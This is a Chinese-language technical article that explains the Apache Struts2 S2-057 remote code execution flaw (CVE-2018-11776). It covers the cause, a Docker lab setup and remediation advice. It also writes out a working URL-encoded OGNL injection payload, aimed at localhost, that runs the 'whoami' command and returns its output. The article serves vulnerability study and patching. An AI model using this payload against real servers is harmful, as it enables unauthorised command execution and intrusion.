Apache Struts2 是一個廣泛使用的開源Java Web應用框架,用于構建企業級Web應用程序。然而,由于其復雜性和廣泛的使用,Struts2 也成為了攻擊者的主要目標之一。S2-057 是 Struts2 框架中的一個嚴重安全漏洞,允許攻擊者通過構造特定的URL來執行遠程代碼。本文將詳細介紹如何進行Apache Struts2 S2-057漏洞的分析。
S2-057 漏洞(CVE-2018-11776)是由于Struts2框架在處理URL時未正確驗證用戶輸入,導致攻擊者可以通過構造惡意的URL來執行任意代碼。該漏洞影響Struts2 2.3至2.3.34版本以及2.5至2.5.16版本。
S2-057 漏洞的核心問題在于Struts2框架在處理URL時,未對用戶輸入進行充分的驗證和過濾。具體來說,當Struts2應用程序配置了alwaysSelectFullNamespace
為true
時,攻擊者可以通過構造特定的URL來操縱namespace
參數,從而繞過安全機制,執行任意代碼。
alwaysSelectFullNamespace
為true
。struts.mapper.alwaysSelectFullNamespace
配置項。攻擊者可以通過構造惡意的URL,將namespace
參數設置為包含惡意代碼的字符串。當Struts2框架處理該URL時,會錯誤地將惡意代碼解析為可執行的命令,從而導致遠程代碼執行。
為了分析S2-057漏洞,首先需要搭建一個受影響的Struts2環境??梢允褂肈ocker快速搭建一個Struts2 2.5.16版本的測試環境。
docker pull vulfocus/struts2-s2-057
docker run -d -p 8080:8080 vulfocus/struts2-s2-057
通過訪問以下URL,可以驗證目標是否存在S2-057漏洞:
http://localhost:8080/struts2-showcase/${(111+111)}/actionChain1.action
如果頁面返回222
,則說明目標存在S2-057漏洞。
利用S2-057漏洞執行任意代碼,可以通過構造如下URL:
http://localhost:8080/struts2-showcase/$%7B%23a%3d%28new%20java.lang.ProcessBuilder%28%22whoami%22%29%29.start%28%29%2c%23b%3d%23a.getInputStream%28%29%2c%23c%3dnew%20java.io.InputStreamReader%28%23b%29%2c%23d%3dnew%20java.io.BufferedReader%28%23c%29%2c%23e%3dnew%20char%5b50000%5d%2c%23d.read%28%23e%29%2c%23f%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2c%23f.getWriter%28%29.println%28%23e%29%2c%23f.getWriter%28%29.flush%28%29%2c%23f.getWriter%28%29.close%28%29%7D/actionChain1.action
該URL會執行whoami
命令,并將結果返回給攻擊者。
為了防止S2-057漏洞的利用,建議采取以下措施:
alwaysSelectFullNamespace
:如果不需要使用alwaysSelectFullNamespace
功能,建議將其禁用。S2-057漏洞是一個嚴重的遠程代碼執行漏洞,影響廣泛使用的Struts2框架。通過本文的分析,我們了解了該漏洞的原理、觸發條件以及利用方式。為了防止該漏洞的利用,建議及時升級Struts2版本,并采取必要的安全措施。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。